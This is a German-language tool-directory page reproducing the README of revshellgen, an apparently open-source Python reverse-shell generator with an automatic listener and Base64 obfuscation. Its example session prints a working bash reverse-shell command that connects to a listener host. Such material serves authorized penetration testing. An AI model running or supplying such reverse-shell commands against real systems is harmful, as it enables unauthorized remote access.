Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/t0thkr1s/revshellgen
Payload-GenerierungExploitationPenetrationstestsCommand and ControlRed TeamingShellcode-GenerierungPayload-Entwicklung
GitHubt0thkr1s/revshellgen

revshellgen

Reverse-Shell-Generator geschrieben in Python 3.

Repository anzeigen
5659413vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Webseite
Teilen

🚀 RevShellGen

Reverse-Shell-Generator

Python License Stars

CI Tests PyPI

Automatisierte Reverse-Shell-Erstellung mit Stil
Reverse Shells generieren, codieren und abfangen – ganz ohne Aufwand


Funktionen • Installation • Nutzung • Shell-Typen • Mitwirken

📖 Über

RevShellGen ist ein leistungsstarkes Kommandozeilen-Tool, das den Prozess der Generierung von Reverse-Shell-Befehlen vereinfacht. Kein lästiges Nachschlagen von Syntax, kein manuelles Codieren, keine Konfigurationskopfschmerzen mehr. Dieses Tool erledigt alles mit einer intuitiven Oberfläche.

🎯 Hauptfunktionen

Tool herunterladen
  • 🖥️ Interaktive CLI – Benutzerfreundliche, menügesteuerte Oberfläche
  • 🔄 Automatische Codierung – Unterstützung für URL- und Base64-Codierung
  • 📋 Zwischenablage-Integration – Automatisches Kopieren generierter Befehle
  • 🌐 Netzwerkerkennung – Automatische IP-Adresserkennung
  • 🎨 Mehrere Shell-Typen – Bash, Python, Netcat, PowerShell und mehr
  • 🔊 Integrierter Listener – Automatische Einrichtung von Netcat/Ncat-Listenern
  • 🍎 Plattformübergreifend – Volle Unterstützung für Linux und macOS
  • 📚 TTY-Upgrade-Anleitung – Umfassende Anweisungen für Shell-Upgrades

🚀 Schnellstart

Option 1: Installation von PyPI

root@kitploit:~
# Installation von PyPI
pip install revshellgen

# Tool ausführen
revshellgen

Option 2: Installation aus dem Quellcode

root@kitploit:~
# Repository klonen
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Abhängigkeiten installieren
pip3 install -r requirements.txt

# Tool ausführen
python3 revshellgen.py  # oder python3 revshellgen_cli.py

📦 Installation

Voraussetzungen

  • Python 3.6 oder höher
  • pip (Python-Paketmanager)

Abhängigkeiten

RevShellGen benötigt die folgenden Python-Pakete:

PaketZweck
pyperclipZwischenablage-Operationen
coloramaTerminalfarben
readcharInteraktive Tastatureingabe
netifacesNetzwerkschnittstellenerkennung

Installationsmethoden

Methode 1: Nutzung von requirements.txt (Einfachste)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
Methode 2: Nutzung von setup.py (Traditionell)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
Methode 3: Virtuelle Umgebung (Empfohlen für Isolation)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # Unter Windows: venv\Scripts\activate
pip3 install -r requirements.txt
Methode 4: Manuelle Installation
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
Methode 5: Benutzerinstallation (kein sudo erforderlich)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Plattformspezifische Hinweise

🐧 Linux

root@kitploit:~
# Möglicherweise muss python3-dev installiert werden
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# Installieren Sie ncat für bessere Listener-Unterstützung
brew install nmap  # Enthält ncat

💻 Nutzung

Grundlegender Workflow

  1. Tool starten

    root@kitploit:~
    python3 revshellgen.py
    
  2. Reverse Shell konfigurieren

    • IP-Adresse auswählen (automatisch erkannt)
    • Port wählen (z.B. 4444, 9001)
    • Shell-Typ auswählen (bash, python usw.)
    • Codierung wählen (keine, URL, Base64)
  3. Generierter Befehl wird automatisch in die Zwischenablage kopiert

  4. Listener starten (automatisch)

  5. Befehl auf dem Zielrechner ausführen

📸 Screenshots


Shell-Auswahl

Befehlsgenerierung

🐚 Unterstützte Shells

Shell-TypBeschreibungPlattform
BashBash TCP Reverse ShellLinux/Unix
PythonPython-basierte Reverse ShellPlattformübergreifend
NetcatTraditionelle nc Reverse ShellLinux/Unix
Netcat mkfifoNetcat mit Named PipeLinux/Unix
PerlPerl-basierte Reverse ShellPlattformübergreifend
PHPPHP Reverse ShellPlattformübergreifend
RubyRuby-basierte Reverse ShellPlattformübergreifend
JavaJava Reverse ShellPlattformübergreifend
AWKAWK Reverse ShellLinux/Unix
SocatSocat Reverse ShellLinux/Unix
Socat TTYSocat mit vollem TTYLinux/Unix
TelnetTelnet Reverse ShellLinux/Unix
PowerShellWindows PowerShellWindows

🔧 Erweiterte Funktionen

TTY-Shell-Upgrade

RevShellGen enthält jetzt umfassende TTY-Upgrade-Anleitungen. Nach dem Abfangen einer Shell bietet das Tool:

  • Schritt-für-Schritt-Methoden zum PTY-Spawn
  • Terminalgrößenerkennung und -konfiguration
  • Mehrere Upgrade-Techniken für verschiedene Umgebungen
  • Tipps zur Fehlerbehebung bei häufigen Problemen
  • Schnellreferenz-Befehle

Codierungsoptionen

  • Keine – Roher Befehlsausgabe
  • URL-Codierung – Für Webanwendungs-Exploits
  • Base64 – Zur Befehlsverschleierung

Listener-Optionen

Das Tool erkennt automatisch die passende Netcat-Variante und verwendet sie:

  • ncat (bevorzugt, aus dem nmap-Paket)
  • nc (traditionelles Netcat)
  • macOS-spezifische nc-Syntax-Unterstützung

📝 Beispielsitzung

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ IP AUSWÄHLEN ] ----------
[ x ] 192.168.1.10 auf eth0
[   ] 10.0.0.5 auf tun0
[   ] Manuell eingeben

---------- [ PORT ANGEBEN ] ----------
[ # ] Portnummer eingeben : 4444

---------- [ BEFEHL AUSWÄHLEN ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ REVERSE-SHELL-BEFEHL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Befehl in die Zwischenablage kopiert!
[ + ] Listener auf Port 4444 wird gestartet...

🤝 Mitwirken

Beiträge sind willkommen! Bitte reichen Sie gerne einen Pull-Request ein. Bei größeren Änderungen eröffnen Sie bitte zuerst ein Issue, um zu besprechen, was Sie ändern möchten.

Entwicklungsumgebung einrichten

root@kitploit:~
# Fork klonen
git clone https://github.com/DEIN_BENUTZERNAME/revshellgen
cd revshellgen

# Branch erstellen
git checkout -b feature/dein-feature-name

# Änderungen vornehmen und committen
git add .
git commit -m "Füge dein Feature hinzu"

# Zum Fork pushen
git push origin feature/dein-feature-name

# Pull-Request erstellen

🐛 Probleme & Support

Einen Fehler gefunden oder einen Vorschlag? Bitte eröffne ein Issue auf GitHub.

📜 Lizenz

Dieses Projekt ist unter der GNU General Public License v3.0 lizenziert – siehe die Datei LICENSE für Details.

⚠️ Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Penetrationstests und zu Bildungszwecken bestimmt.

Die Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keinerlei Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.

🙏 Danksagungen

  • PayloadsAllTheThings – Reverse-Shell-Referenzen
  • ropnop – TTY-Upgrade-Techniken
  • PentestMonkey – Reverse-Shell-Spickzettel
  • Allen Mitwirkenden und Nutzern dieses Tools

Mit ❤️ erstellt von t0thkr1s
Gib diesem Repository ⭐, wenn es dir nützlich erscheint!